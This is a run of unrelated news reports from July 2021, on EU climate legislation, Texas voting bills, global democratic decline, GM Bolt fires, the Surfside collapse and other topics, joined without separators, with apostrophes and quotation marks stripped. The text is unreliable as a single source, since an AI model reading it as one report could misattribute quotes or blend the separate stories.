The aim of the Fit for 55 legislation, commission officials say, is to ween the continent off fossil fuels and take better care of the environment by policy design, rather than be forced into desperate measures at some future climatic tipping point, when its all but too late.

European Commission Executive Vice-President Frans Timmermans said that by failing to act now, "we would fail our children and grandchildren, who in my view, if we dont fix this, will be fighting wars over water and food.

Given the implications, the proposals are certain to be subject to intense lobbying from industry and environmental groups as they pass through the legislative process over at least the next year. Theyll also face resistance because of the very different energy mixes in member countries, ranging from coal-reliant Poland to nuclear-dependent France.

Germanys environment minister, Svenja Schulze, said negotiations need to focus on maintaining the ambitious targets in a reliable way, be fair to the poor and ensure all of Europe goes down this path together.

National solo efforts wont lead to the goal, she said. There needs to be a coordinated, massive expansion of sun and wind power from the North Sea to the Mediterranean.

Echoing the thoughts of some climate scientists, Oxfam EU head Evelien van Roemburg urged the member countries and lawmakers to be more ambitious than the European Commission.

They must step up ambition by ensuring all EU climate rules contribute to carbon emission cuts of at least 65% in 2030, rather than the current 55%," she said.

Among the legislation's most controversial elements is a plan for a Carbon Border Adjustment Mechanism. It would impose duties on foreign companies and therefore increase the price of certain goods, notably steel, aluminum, concrete and fertilizer.

The aim is to ease pressure on European producers that cut emissions but struggle to compete with importers that dont have the same environmental restrictions.

The question is how the EU  known for its staunch defense of open trade  will ensure that the carbon tax complies with World Trade Organization rules and not be considered a protectionist measure.

Another concern is the need to help those likely to be hit by rising energy prices. The commission is proposing the creation of a social climate fund worth several billion euros to help those who might be hardest hit.

This fund will support income and it will support investments to tackle energy poverty and to cut bills for vulnerable households and small businesses, von der Leyen said.

But Martha Myers, a member of the climate justice team at Friends of the Earth Europe, said the decision to extend emissions trading to buildings throws low-income people into high energy price waters while offering only a swimming float of support to relieve energy poverty.

Under Fit for 55, a drastic acceleration in sales of battery-powered cars also is likely as the EU aims for a 100% reduction in auto emissions.

Hildegard Mueller, president of the German Association of the Automobile Industry, said the industry supports the EU goal of reaching climate neutrality by 2050. But she said that goal can only be accomplished if the consumers and companies can implement these goals.

Mueller warned of a substantial impact on jobs at auto suppliers that would struggle with the pace of the changeover.

___

McHugh reported from Frankfurt, Germany. Frank Jordans in Berlin contributed to this report.
The Texas voting bills that prompted state Democrats' flight to Washington this week include a raft of tweaks and changes to the state's election code. Some are dramatic, others highly technical, and a couple could make life easier for voters.

But taken as a whole, the changes add up to one clear result: If the proposals pass, it will become harder  and even, sometimes, legally riskier  to cast a ballot in Texas, a state that already has some of the most restrictive election laws in the country.

Here's a close look at what's in the two bills now at the center of the battle over voting rights:

EMPOWERING POLL WATCHERS

Some of the most significant changes in the Texas legislation concerns partisan poll watchers, the volunteers deployed by both major parties to observe voting and counting. As recently as 1962, Republican poll watchers in some parts of Texas challenged Black and Latino voters to read and explain the U.S. Constitution before casting ballots as part of a campaign dubbed Operation Eagle Eye. In 2020, then-President Donald Trump cited unverified observations from GOP poll watchers to spread doubt about the results and make false claims of fraud.

The Texas House and Senate bills give partisan poll watcher new access, protections and power. The legislation would make it a crime for an election official to reject a poll watcher who meets the qualifications for the position. The measures would make it illegal to obstruct a poll watcher's view, and the Senate bill states that poll watchers are entitled to sit or stand near enough to hear or see the activity. Texas law still prohibits poll watchers from watching someone actually cast a ballot, however.

The legislation empowers poll watchers to sue and seek court orders against election officials who get in their way. The new proposals would also require poll watchers to swear an oath that they will not harass voters.

The House version goes further, preventing poll watchers from being removed for violating election law unless they've already been warned. The Texas branch of the American Civil Liberties Union calls this a one-time get out of jail free card for voter intimidation.

Republicans argue these changes are needed because voters will only trust elections if their representatives have free access to just about every aspect of voting and counting. But Democrats and civil rights organizations worry about the history of Texas conservatives using poll watchers to intimidate racial and ethnic minority voters.

LIMITING OPPORTUNITIES TO VOTE

The laws explicitly roll back ways that Democratic counties have made it easier for people to vote, especially during the coronavirus pandemic. They ban the use of drop boxes for mail ballots, the mailing of absentee ballot applications to all eligible voters, drive-thru voting and 24-hour voting locations. (The House bill makes it a felony for any election official to send out unrequested absentee ballot applications.)

Several of these procedures were used last year in the state's largest and most racially diverse county, Democratic-leaning Harris County, which is home to Houston. The county says 140,000 people voted in its drive-thru and 24-hour locations in the 2020 election.

Republicans argue that these procedures were used during a once-in-a-century pandemic and shouldn't be regular features of voting in the state. Democrats and voting rights groups say those measures simply make it easier for people to cast ballots and especially helped working class and younger voters access the polls.

NEW HURDLES TO MAIL VOTING

Texas is already one of the hardest states in the nation in which to vote by mail. The process is limited to those 65 and older, people who will be out of state during the election or people who are disabled. But after Trump objected to mail voting during his failed reelection campaign, Republicans in Texas and elsewhere turned against the method and have been eager to tighten regulations on it.

The Texas bill requires mail voters to include identification numbers on their envelopes and applications that must match data on their voter registration. They'd have to include their driver's license number  although an expired one would suffice. If they don't have a driver's license, they can include the final four digits of their Social Security number.

Opponents of the provision  somewhat similar to one that passed in Georgia  say it is creating another opportunity for voters to make minor mistakes. Additional steps and paperwork raise the risk of ballots being discarded.

The new proposals partially address that concern. Voters who submit ballots before Election Day would be notified of problems and allowed to go to an elections office to fix some issues that can disqualify the vote, such as a mismatched signature. However, voters will not be able to fix problems with their identification numbers  ballots that don't contain them or don't match the ones on file can be discarded.

While Democrats and voting rights groups were cheered by the new ability to cure mail ballots, they worry the additional identification requirements could confuse voters and lead to ballots being rejected. Republicans say they're a sensible way of ensuring voter identification that doesn't run into the problems of requiring photo IDs, which are not always easily obtainable.

CRIMINAL PENALTIES

The Texas bills, like others proposed this year, create or expand several criminal violations involving elections, some of which are broadly defined and could ensnare voters or those who help them. Republicans contend they're necessary to prevent fraud or improper influence on voters. Democrats note, accurately, that voter fraud is exceedingly rare. The state's Republican attorney general dedicated millions of dollars to voter fraud investigations since last year but has only turned up a handful of cases in a state where more than 11 million people voted in November.

The bills expand an existing mandate that people who help voters with mail ballots provide information on the envelope attesting to their role. Under the proposals, anyone who helps a voter fill out a ballot must also submit their signature, name, address, relationship and details of whether they were paid by a campaign or political committee.

Those who fail to fill out the information can be prosecuted, and the bills remove exemptions from prosecution from caregivers who are not family or nonfamily living in the same home as the voter.

The bills also create a new crime around being compensated to collect filled-out and sealed ballots from voters. The ACLU complains the provision is vague and could criminalize routine get-out-the-vote operations.

The legislation also requires local election officials to refer all cases of improperly cast ballots to the state attorney general. Voting rights groups worry this could be abused to prosecute common errors, such as a voter failing to update registration when moving counties. Republicans argue this is a common-sense way to prevent fraud.

Finally, the criminal provisions include one clause that Democrats have been pushing for  the House bill requires judges to inform people convicted of felonies that they cannot vote. That is in response to the case of Crystal Mason, a Texas woman who was sentenced to five years in prison in 2018 for voting while on parole, something she said she was never told was illegal.
The old Nicaraguan revolutionary, with his receding hairline and the goatee that he had finally let turn grey, spoke calmly into the camera as police swarmed toward his house, hidden behind a high wall in a leafy Managua neighborhood. Surveillance drones, he said, were watching overhead.

Decades earlier, Hugo Torres had been a revered guerrilla in the fight against right-wing dictator Anastasio Somoza. In 1974, hed taken a group of top officials hostage, then traded them for the release of imprisoned comrades. Among those prisoners was Daniel Ortega, a Marxist bank robber who would become Nicaraguas elected president and later its authoritarian ruler.

And on this hot Sunday in mid-June, amid a weekslong clampdown to obliterate nearly every hint of opposition, Ortega had his old savior arrested.

History is on our side, Torres said in the video, which was quickly uploaded onto social media. The end of the dictatorship is close.

But history -- at least recent history -- is not on Torres side. In the last few months, the growing ranks of dictators have flexed their muscles, and freedom has been in retreat.

The list is grim: a draconian crackdown in Nicaragua, with laws that now let the government paint nearly any critic as a traitor; a military takeover in Myanmar, with bloody repression that the United Nations says has left more than 850 people dead since Feb. 1 and more than 4,800 arbitrarily detained; a tightening grip by Beijing on Hong Kong, the semi-autonomous enclave where activists and journalists have been harassed and imprisoned under a sweeping national security law.

In mid-June, Hong Kongs last remaining pro-democracy newspaper shut down operations after police froze $2.3 million of its assets and arrested five top editors and executives, accusing them of foreign collusion.

Why does it have to end up like this? asked an Apple Daily graphic designer, Dickson Ng.

The backsliding of democracy, though, goes back far before 2021, with a long string of countries where democratic rule has been abandoned or dialed back, or where democratically elected leaders now make no secret of their authoritarianism.

2020 was another year of decline for liberal democracy, said a recent report from the V-Dem Institute, a Sweden-based research center. The world is still more democratic than it was in the 1970s and 1980s, but the global decline in liberal democracy has been steep during the past 10 years.

Countries like Sweden, Germany and the United States can seem like democratic outliers in a world increasingly dominated by authoritarian leaders.

Its an open question if we as a democratic grouping can push back against the Russias or the Chinas of the world and `win the 21st century, said Torrey Taussig, a scholar of authoritarianism and great power politics at the Harvard Kennedy School. Can the democracies rally to push back against this authoritarian tide that weve seen resurgent?

It wasnt supposed to be like this.

The late 20th and early 21st centuries saw country after country transition to democratic rule. The Soviet Union collapsed amid Mikhail Gorbachevs attempts at political and economic reform. Eastern European nations that had long been controlled by Moscow became independent. In Latin America, decades of military dictatorships gave way to elected governments. A wave of democratization swept across Africa, from South Africa to Nigeria to Ghana.

We had the largest number of democracies that ever existed in the world. It was unparalleled, said Sheri Berman, a political science professor at Barnard College, Columbia University. It seemed that liberal democracy was the way of the future.

But within just a few years the cracks began to show.

Maybe the world was just too optimistic. Democracy is messy.

It takes a lot to make democracy work, said Berman. Getting rid of the dictators is not the end. Its the beginning.

As a result, many scholars arent too surprised when countries like Nicaragua or Myanmar stumble into authoritarianism. Both are very poor, with little history of democracy.

Hard times and turmoil are mothers milk for authoritarians.

Russias experiment with democracy, for example, was short lived after the collapse of the Soviet Union. A plunging standard of living, a weak leader in Boris Yeltsin, thug businessmen and budding oligarchs fighting for control of state-owned businesses opened the way for Vladimir Putin.

Then came the financial crisis of 2007-2008, which began in the U.S. and rippled around the world. In the U.S., banks teetered on the verge of collapse and top officials worried about another Great Depression. In the European Union, Americas troubles helped lead to a debt crisis that sucked in Greece, Ireland and other nations that needed outside economic bailouts.

Those financial troubles, combined later with the political firestorms of the Trump administration and years of angry negotiations over Britains exit from the European Union, made liberal democracy look risky.

The more attractive the U.S. and Europe looks, the better that is for the folks fighting for democracy, said Berman. And the opposite is also true.

Frustration has grown, with a 2019 Pew Research Center survey of 34 countries showing a median of 64% of people believing elected officials dont care about them.

Today, a man like Viktor Orban can look very attractive to many voters.

Orban, the nationalist Hungarian prime minister who returned to power in the wake of the financial crisis, feeding on an electorate that distrusted the traditional elite, spoke proudly of leading an illiberal democracy.

He now talks about Hungarys system of national cooperation, a process that has hobbled the court system, re-written the constitution and given immense power to himself and his party. The countrys media is largely now a factory producing pro-Orban content.

Rival parties are regularly investigated by government auditors and sometimes fined to the brink of bankruptcy.

We have replaced a shipwrecked liberal democracy with a 21st-century Christian democracy, Orban proudly told lawmakers after a landslide 2018 election victory.

The world has a string of such leaders.

Some are authoritarians of varying degrees of power, from Putin in Russia to Recep Tayyip Erdogan in Turkey to Rodrigo Duterte in the Philippines. Others are in the politically foggy wilderness between a one-party state and a solid democracy, like Jaroslaw Kaczynski, who runs the ruling party in Poland and Singaporean Prime Minister Lee Hsien Loong, whose father ruled the country for three decades and turned it into an affluent city-state.

The pandemic has sped up a democratic decline in Africa, scholars say, with elections postponed or opposition figures silenced from Ethiopia to Zimbabwe.

But in a world where democracy is often swimming against the political tide, scholars also see some good news. It just requires a longer view of history.

Eighty years ago, there were perhaps 12 fully functioning democracies. Today, the Democracy Index put out by the Economist Intelligence Unit says there are 23 full democracies, and nearly half the planet lives in some form of democracy.

Then there are the protesters, perhaps the most visible sign of a thirst for democratic rule.

Thousands of Russians flooded the streets earlier this year after opposition leader Alexei Navalny was imprisoned. Neighboring Belarus was shaken by months of protests sparked by the 2020 reelection of President Alexander Lukashenko, which were widely seen as rigged. Political protests are common in Poland and Hungary.

Such protests regularly fail. The demonstrations in Russia and Belarus, for instance, ended with heavy-handed crackdowns.

But political scientists say even suppressed protests can be important political sparks.

Plus, sometimes they succeed.

In Sudan, 2019 mass protests against the autocratic president, Omar al-Bashir, led to his ouster by the military. The country is now on a fragile path to democracy, ruled by a transitional government.

In a recent report, the U.S.-based rights watchdog Freedom House, saw signs of hope in the European Unions sanctions against the Belarusian regime, exile Central Asian journalists and bloggers continuing their work from overseas, and the way a string of eastern European governments have slowed business ties with China, concerned about transparency and national security. Meanwhile, Hungary's Orban faced surprisingly united opposition.

Some scholars also see hope in the way President Joe Biden has reached out to Americas longtime European allies, reversing the approach of the Trump administration.

Bidens recent trip to Europe, said Taussig, the Harvard Kennedy School scholar, was an attempt to rally Americas democratic partners against the authoritarian tide.

So maybe that old, arrested Nicaraguan revolutionary does have reason for optimism.

These are the desperate blows of a regime that feels itself dying, Torres said in the video before his arrest.

Maybe. As summer wore on, he remained in prison.
DETROIT (AP)  General Motors is telling owners of some older Chevrolet Bolts to park them outdoors and not to charge them overnight because two of the electric cars caught fire after recall repairs were made.

The company said Wednesday that the request covers 2017 through 2019 Bolts that were part of a group that was recalled earlier due to fires in the batteries.

The latest request comes after two Bolts that had gotten recall repairs caught fire, one in Vermont and the other in New Jersey, GM spokesman Kevin Kelly said.

Owners should take the steps out of an abundance of caution, he said. The steps should be continued until GM engineers investigate and develop a repair, he said.

The cars should be parked outdoors after charging is complete, GM said in a statement. We are moving as quickly as we can to investigate this issue, the company said.

Vermont State Rep. Tim Briglin, whose 2019 Bolt caught fire, said he drove it to work and back home in Thetford, Vermont, on June 30, depleting the battery to around 10% of its range. He plugged it into a 240-volt outdoor charger around 8 p.m. and left the Bolt in his driveway after the car messaged that it would be fully recharged by 4 a.m.

Around 6:30 a.m. the next day, he saw smoke coming from the rear of the car and called the fire department. Volunteer firefighters arrived within 10 minutes and extinguished the blaze with a lot of water, but stayed for another three hours, using an infrared camera to make sure the battery temperature didn't increase and the fire didn't restart, he said. Nothing other than some nearby plants were damaged, he said.

Briglin said he had the recall repairs done on June 9, and charged his Bolt to 100% of its battery capacity the morning of the fire, he said.

Briglin said he is happy GM is taking the action, because he's heard from Bolt owners who didn't know what to do because of the recent fires. I've had a great experience with it, but at the same time, an unhappy ending for this Bolt, he said.

GM, he said, plans to find him a 2021 or 2022 model to replace his, which was a total loss.

In April, GM announced that it had developed diagnostic software to look for anomalies in the batteries of 69,000 Bolts worldwide. If problems are found, the company will replace faulty parts of the battery.

Kelly said owners who haven't had the recall repairs done should still take their cars to dealers to get the fixes.

In November, GM recalled the electric vehicles after getting reports of multiple battery fires. Two people suffered smoke inhalation and a house was set ablaze.

At first the company didnt know what was causing the problem, but it determined that batteries that caught fire were near a full charge. So as a temporary fix, owners and dealers were told to make software changes to limit charging to 90% of a batterys capacity.

GM traced the fires to what it called a rare manufacturing defect in battery modules. It can cause a short in a cell, which can trigger a fire. Under the remedy, dealers were to install software designed to warn owners of problems, and any defective cells were to be replaced.

Each Bolt has 288 battery cells, and engineers worked to analyze data from hundreds of thousands of cells, the company said.

The recall came after the U.S. National Highway Traffic Safety Administration opened an investigation into the fires last year. The agency said in documents that the fires began under the rear seat while the cars were parked and unattended.

In a statement Wednesday, the safety agency also urged people to park the cars outdoors and away from structures.

"Vehicles should be parked outside regardless of whether the interim or final recall remedies have been completed, the agency said.

Engineers determined the fires took place in Bolts with battery cells made at an LG Chem factory in Ochang, South Korea, from May of 2016 to May of 2019.

Some 2019 Bolts and all 2020 and 2021 versions have cells made at an LG Chem plant in Holland, Michigan, and are not included in the recall.

Once the final recall repairs are made, the Bolts full range will be restored. Older Bolts can go about 238 miles (383 kilometers) per charge.
MIAMI BEACH, Fla. (AP)  Recordings of 911 calls after an oceanfront Florida condominium building collapsed in the middle of the night show disbelief, panic and confusion as people tried to comprehend the disaster.

"Oh my God! The whole building collapsed! one caller said to a dispatcher at the Miami-Dade Police Department, which released the recordings Wednesday from the June 24 collapse of Champlain Towers South. The names of the callers were not released.

Weve gotta get out. Hurry up, hurry up. Theres a big explosion, a second caller said. Theres a lot of smoke. I cant see anything. We gotta go. I cant see nothing but smoke.

At least 97 people died in the collapse, and a handful of others are still missing. A cause has not yet been pinpointed, although there were several previous warnings of major structural damage at the 40-year-old building in Surfside.

One 911 caller, a woman, said she saw what appeared to be a large depression near the swimming pool, which had concrete problems that investigators are looking into as they try to identify a cause.

I woke up because I was hearing some noise. I couldnt understand what was happening. I looked outside and I saw the patio area sinking down. The pool area started sinking down, the caller said. "There are many parts of the building that went down. The building just went into a sinkhole. There will be many, many people dead.

Yet another female caller said she was stuck near the building parking garage and needed help. Part of the condo remained standing after the collapse but was taken down later by a demolition crew.

Can somebody help me get out, please? If the building comes down, it will come down on my head, the caller said.

Release of the calls Wednesday came as a judge approved the sale of the oceanfront property, with proceeds intended to benefit victims of the deadly disaster.

At a hearing, Miami-Dade Circuit Judge Michael Hanzman ordered that the process begin to sell the site of Champlain Towers South, which could fetch $100 million to $110 million according to court records.

The court-appointed receiver handling finances related to the condo, attorney Michael Goldberg, said the judge wants the sale to move quickly.

He wants us to start exploring a potential sale, Goldberg said of the judge in an email. He did say he wants the land to be sold and the proceeds to go directly to the victims as soon as possible.

Goldberg said the decision did not necessarily preclude a buyer from turning at least a portion of the site into a memorial, as some people have advocated. Other survivors want the structure rebuilt so they can move back in.

Hanzman's ruling came as part of a series of lawsuits filed in the wake of collapse. The judge put the lawsuits on a fast track and authorized Goldberg to begin disbursing Champlain Towers insurance money to the victims and families.

The judge also approved returning $2.4 million in deposits that some Champlain condo owners had already made toward an assessment to pay for $15 million in planned major repairs.

In nearby Miami Beach, residents of an 82-year-old, two-story apartment building were ordered to evacuate because of concrete deterioration. The city ordered the evacuation of Devon Apartments on Monday and is giving residents until next Monday to leave the building, city spokeswoman Melissa Berthier said in an email Wednesday.

The apartment building is about 2 miles (3 kilometers) from Champlain Towers South.

After the collapse, Miami-Dade Mayor Daniella Levine Cava ordered an audit of all buildings over 40 years old. A condominium in nearby North Miami Beach also was ordered evacuated over safety concerns shortly after that audit started.

The collapse left officials around the county grappling with concerns about older residential buildings.

Manny J. Vadillo, an attorney who represents the owners of the Devon Apartments, told WTVJ that they have worked diligently with the city since deciding in May to demolish the building by December.

He said they have started to vacate the building in an orderly fashion, adding that 14 people remained inside. He said the owners are helping residents move.

My clients are extremely sensitive to safety and, in fact, visited the property several times since last week to speak with tenants when communications started with the city to ensure tenants were not caught by surprise, Vadillo said. Some tenants have been there many years.

Resident Esmart Romero told WSVN that he was not surprised the city deemed the building unsafe.

If you look at the condition of this apartment, its not good, Romero said. You get what you pay for.

___

Anderson reported from St. Petersburg and Frisaro from Fort Lauderdale. Associated Press writers Bobby Caina Calvan in Orlando, David Fischer and Kelli Kennedy in Miami, and R.J. Rico in Atlanta contributed to this report.
OMAHA, Neb. (AP)  Two weeks after Nebraska quit publicly reporting daily coronavirus statistics, the state launched a new website Wednesday to provide weekly updates on some of the information.

The state's decision to stop providing daily COVID-19 updates was widely criticized by health experts who use the data to track the virus' spread.

I dont think that was a well-timed decision, said Dr. James Lawler, who is one of the leaders of the Global Center for Health Security at the University of Nebraska Medical Center in Omaha. I think that if you are trying to drive down a rivet at night in the rain, blindfolding yourself is probably not the best idea.

Nebraska Department of Health and Human Services spokeswoman Olga Dack said the state's new website will be updated on Wednesdays with some of the latest information about the virus' spread. The site includes the number of virus cases, hospitalizations and deaths in the state along with statistics on the vaccination campaign, but it doesn't include as much detail as the previous version of the dashboard.

Dack said that part of the problem is that much of the data the state had been reporting previously is covered by state and federal health privacy laws, which were suspended as long as the state's official virus emergency continued but that ended June 30. The executive orders that allowed HHS to release potentially identifiable information on the dashboard expired when the emergency ended.

Nebraska is not alone in changing what virus data it reports, but most states have continued to update their online COVID-19 dashboards at least on weekdays. Iowa and South Dakota recently switched to reporting virus data only on a weekly basis.

In South Dakota, health officials also stopped holding monthly news conferences. They justified the decision to scale back reporting because infection rates in the state hit their lowest rate since the pandemic began. But state health officials also have continued to issue reminders that the pandemic is not over and the delta variant poses a new threat.

South Dakota state epidemiologist Josh Clayton last month said he is concerned that coronavirus cases in the state will follow a similar trend as last year, slowing during the summer only to make a resurgence in the fall.

Although health officials say they still think the state can reach a goal of getting 70% of eligible people vaccinated, the rate of vaccinations has slowed to a trickle. About 53% of eligible people have been fully vaccinated, according to the Department of Health.

Iowa health officials said switching to weekly updates is part of the state's transition to COVID-19 pandemic recovery. Gov. Kim Reynolds has said she believes it is time for the state to get back to normal now that case counts have slowed and nearly half of Iowa's population has been vaccinated.

When Nebraska stopped reporting virus statistics late last month, officials said data on the pandemic will still be available through public records requests, and they said statistics on the virus' spread are available from the federal Centers for Disease Control and Prevention. But they said the data reported on those sites may differ from what the state had been reporting. And television station KETV reported that its public records request for COVID-19 case and vaccination numbers was denied.

In the weeks since the state stopped providing the figures, Nebraska has seen its cases per week nearly double as the highly contagious delta variant of the virus spreads. CDC figures showed 489 cases last week, up from 456 the week before and 253 cases two weeks earlier.

Nationwide, the average number of new cases doubled over the past three weeks, going from 11,300 a day on June 23 to about 23,600 a day on Monday.

The seven-day rolling average of daily new cases in Nebraska has more than doubled over the past two weeks from 43 new cases per day on June 28 to 86.29 new cases per day on Monday, according to data from Johns Hopkins University.

On its new website, the state reported 225,600 virus cases and 2,267 deaths on Wednesday. That is up from 224,488 cases and 2,261 deaths that were reported June 30 on the last day of the old dashboard, but the demographic and regional breakdowns of the data the state used to provide are gone.

Nebraska said 78 people are now hospitalized with the virus, up from 28 on June 30 but still well below last Novembers peak of 987.

The state also said that 49.1% of Nebraskas residents have now been fully vaccinated against the virus.

Lawler said the state virus dashboards have been a valuable source of information throughout the pandemic even though the data reported in each state has varied. For instance, he said, only about half the states are reporting cumulative hospitalization data by age groups, so its not clear how many children have been hospitalized.

We have to extrapolate and do estimates to try and arrive at that number. In 2021, thats just nuts. Theres no excuse, Lawler said. Ive rarely seen a situation where more data is a bad thing  and certainly not in emergencies.

___

Associated Press writer Stephen Groves contributed to this report from Sioux Falls, South Dakota.
ALBUQUERQUE, N.M. (AP)  Some of New Mexico's top climate and water experts warned state lawmakers Tuesday that the effects of the drought on water supplies have been worsened by climate change, specifically an ongoing, long-term warming trend.

They told members of a legislative committee that the drought is a harbinger of still more arid conditions to come as temperatures continue to climb and rainfall becomes more variable. Human-caused climate change has made the West much warmer and drier in the past 30 years.

Increasing temperatures also can lead to the snowpack that feeds rivers and streams melting several weeks earlier and more rapidly, resulting in more evaporation. That means less runoff into the Rio Grande, Pecos and other rivers, and that's not going to change since the experts said there are no indications that the long-term temperature trend will go away.

New Mexico uses all of its water and is pretty well tapped out when it comes to new supplies, said retired professor David Gutzler. He added that long-term climate change should lead policymakers to expect and plan for diminished surface water supplies in the decades going forward.

Ground water supplies also are being depleted as more people are forced to pump water to make up for dwindling flows.

We're seeing in New Mexico as bad a situation with regard to water supply as anywhere in the West, if not worse, said Rolf Schmidt-Petersen, director of the Interstate Stream Commission. He noted that drought still persists across the state and reservoirs remain empty despite the start of summer rains.

Schmidt-Petersen shared slides that showed conditions getting drier and drier over the last 20 years. He described the conditions this year as the most severe drought in two decades of dryness.

Gutzler issued a plea to the legislators, asking that they take New Mexicos long-term water challenge seriously and provide cities, farmers and other users with guidance and ground rules for managing shrinking supplies.

I think that we ought to be able to cooperatively address the fact that we have set up more demand for water than we have supplies over the long term through cooperative shortage sharing and very careful attention to the way we allocate new water rights," he said.  ... The problem we face is real and is unlikely to go away even if and even when we get a couple of years of wetter weather.

Some of the discussion focused on developing a more formal system for building partnerships among local districts so water can be shared when shortages arise. Such arrangements already are in place in some parts of New Mexico, including with Jemez and Zia pueblos and nearby acequias, which are traditional irrigation systems that deliver water to farmers.

Some lawmakers voiced concerns about the price of water increasing as supplies shrink, saying the cost could one day drive a wedge between society as food production becomes more expensive.

We have to realize this is about economics, said Sen. Joe Cervantes, a Democrat from Las Cruces, where he pointed to small farmers who have had to sell their operations because they can't afford to pump groundwater.
PORTLAND, Maine (AP)  Union members with a phone and internet company in northern New England said Wednesday they have authorized a potential strike.

The contracts of more than 1,000 union employees of Consolidated Communications in Maine, New Hampshire and Vermont expire on Aug. 7. Representatives for Communications Workers of America said an overwhelming majority of union members voted to authorize the strike.
WEST HAVEN  Tropical Storm Elsa visited West Haven last week and now officials must foot the bill: Its estimated to go higher than $500,000.

Tom McCarthy, city commissioner of public works, toured the city with consulting engineers from the Boston-based engineering firm CDM Smith to calculate the estimated damage. And while there was no final estimate Wednesday, McCarthy estimated it would be in excess of half a million.

CDM Smith engineers also said the number likely would be higher than that range.

Weve had extraordinary damage, McCarthy said.

Included in the damage were at least five downed trees citywide, a completely compromised drainage system on Lake Avenue, a buckled road on Painter Drive from sanitary and storm sewer pressure, and significant damage to the road on Norfolk Street.

Arnold Gold / Hearst Connecticut Media

The road is in trouble, McCarthy said.

He said there were more than 20 homes that received an influx of raw sewage.

Our infrastructure needs to be repaired, but these are peoples homes that have been inundated with raw sewage, he said. Thats the human tragedy of it.

Eric Scoville, a spokesman for the state Division of Emergency Management and Homeland Securitys Municipal Grant Program, said municipalities and tribal nations were given data collection forms July 13 to catalog storm damage.

There are a series of thresholds we have to meet to make a formal request up to (the Federal Emergency Management Agency) for them to do a damage assessment, he said.

Arnold Gold / Hearst Connecticut Media

That threshold, he said, is $5.5 million in statewide damage and $3.3 million in countywide damage in New Haven County.

We ask our local communities to provide as much documentation on costs. We ask them to include photos and dimensions and descriptions of damages and any estimates of costs associated with damage, he said.

If its a roadway or a public building, (we ask) whats the estimated cost of that damage. We ask the municipalities to provide that to us, and we compile it all and verify it before making an application to FEMA, he said.

McCarthy said the estimate of more than $500,000 in damage ultimately would reflect the cost of getting the city back to where it was before the storm, and is not reflective of any infrastructure upgrades.

Arnold Gold / Hearst Connecticut Media

Mayor Nancy Rossi said the city has experience responding to catastrophic events and, despite the damage, she said she feels grateful it was not worse.

Were lucky there was no loss of life and nobody was severely hurt, she said. You can replace the rest of the stuff with money, the others you cannot.

McCarthy said the damage is not reflective of everyday vulnerabilities in city infrastructure.

It was an extraordinary event, not a typical event. Our systems are not typically designed for extraordinary events, he said.

Arnold Gold / Hearst Connecticut Media

brian.zahn@hearstmediact.com
KANSAS CITY, Mo. (AP)  Police in Kansas City, Missouri, have agreed as part of a lawsuit settlement to stop banning protesters from returning to areas in the city where the protests were held, civil rights groups said Wednesday.

The ACLU of Missouri and the MacArthur Justice Center sued Kansas City, Missouri, police commissioners last year challenging what they called an unconstitutional verbal banishment order.

Now more than ever we must safeguard the right to protest from police overreach and violence  especially where protests are about the police themselves, said Amy Breihan, co-director at the MacArthur Justice Center.

Police spokeswoman Donna Drake said in an emailed statement that the department is grateful to have had this opportunity to work with the ACLU on these important First Amendment issues."

Since the summer of 2020, we have continued to make adjustments and changes to include our new First Amendment policy, Drake said. KCPD continues to work hard to support the First Amendment rights of the citizens of Kansas City."

The lawsuit stems from protests against police brutality and racial injustice last year at the Country Club Plaza, a popular dining and shopping district. About 100 people were arrested, including Theresa Taylor. When she was released on bail, police told her that if she returned to the Plaza she would be arrested and held without bail. A municipal charge alleging Taylor failed to comply with a police order to disperse was later dismissed.

The settlement also requires training on free speech and anti-bias and de-escalation practices as well as prohibiting officers from adding conditions of bond release beyond those imposed by the court or prosecutor.
MADISON, Wis. (AP)  A statue of Wisconsin's first Black secretary of state outside the state Capitol came a little closer to reality Tuesday after a subcommittee settled on a location outside the building's south side.

The state Capitol and Executive Residence Board subcommittee voted unanimously to recommend the board place a statue of Vel Phillips at the end of a wide sidewalk leading from the street to the Capitol's south entrance.
NEW HAVEN  As Tweed New Haven Regional Airport officials prepare for the Board of Alders to consider a 43-year agreement thats crucial to Tweeds $100 million expansion plan, they are trying to reach out to neighbors.

But years of mistrust from wary neighbors, fed by a perception that Tweed and city officials dont take community input seriously  and dont always tell neighbors all the details  continue to churn.

Tweeds expansion plan includes an initial $70 million to extend the existing 5,600-foot runway to 5,735 feet and build a new, carbon-neutral, 74,000-square-foot terminal on the East Haven side. The shift would include a new entrance off Proto Drive in East Haven, with an approach along Hemingway Avenue.

Contract operator Avports LLC, a subsidiary of Goldman Sachs, would step up as a financial partner of the airport as well as continue to manage it for 43 years under the proposed agreement. It also would foot the bill for Tweeds operations, allowing Tweed to do away with its $1.8 million in annual city and state subsidies.

The announcement of the deal in May was accompanied by an announcement that a new start-up airline, Avelo, will begin serving Tweed  and make the airport its first East Coast base  later this year. Avelo also would kick in $1.2 million to upgrade the existing terminal before the new one can be built.

Foremost on most speakers minds at the most recent forum, for which more than 120 people turned out, were concerns about how the expansion might affect nearby neighborhoods, both directly adjacent in East Haven and New Havens Morris Cove and Annex sections, as well as those a little farther afield, such as Fair Haven Heights and Fair Haven.

Tweed New Haven Airport Authority Executive Director Sean Scanlon, addressing neighbors past perceptions that Tweed hasnt always been forthcoming, said that he hears loud and clear from residents from the mayor, from the mayor of East Haven, from the people in the neighborhood, is that we need a strong community benefits package.

He said he is available to talk to anybody about their concerns.

You can call me on the cellphone or at my office, you can come visit me at my office. Ill even come to your house and meet with you, Scanlon said, pointing out that hes recently been going door to door to talk to Tweeds neighbors.

Were depending on the city to protect us, said city resident Michael Moscowitz, who was concerned about language in the proposed 43-year agreement with Avports, Tweeds longtime contract operator, that appears to leave the door open for the city to use eminent domain to facilitate airport expansion in the future.

The courts will strictly interpret this agreement ... and it will not be construed to the benefit of the people, Moscowitz said. ... If theyre not looking to seize property, then it shouldnt be in the agreement.

Moscowitz said he voted for Mayor Justin Elicker, who attended the Zoom forum, and I want to continue voting for him ... and he needs to protect us from this agreement.

... Im depending on my mayor to protect us from this agreement, Moscowitz said.

Scanlon said the expansion and the proposed agreement were the culmination of months of negotiations and will be an immediate job creator.

He said the runway extension and the new terminal both would be completely within the airports existing boundaries and the authority has no plans to use eminent domain.

To accommodate Avelo in the short term, Tweed will do about $4 million in improvements to renovate and reconfigure the existing terminal, with Avports and Avelo, which will kick in $1.2 million, paying for the work.

Safety and noise

East Haven resident Mia Marchitto said she was concerned about safety.

Theres already been two plane crashes in the past, Marchitto said. Two children have already died. When I purchased my home, I never had any idea that you were going to do the volume of flights that youre doing.

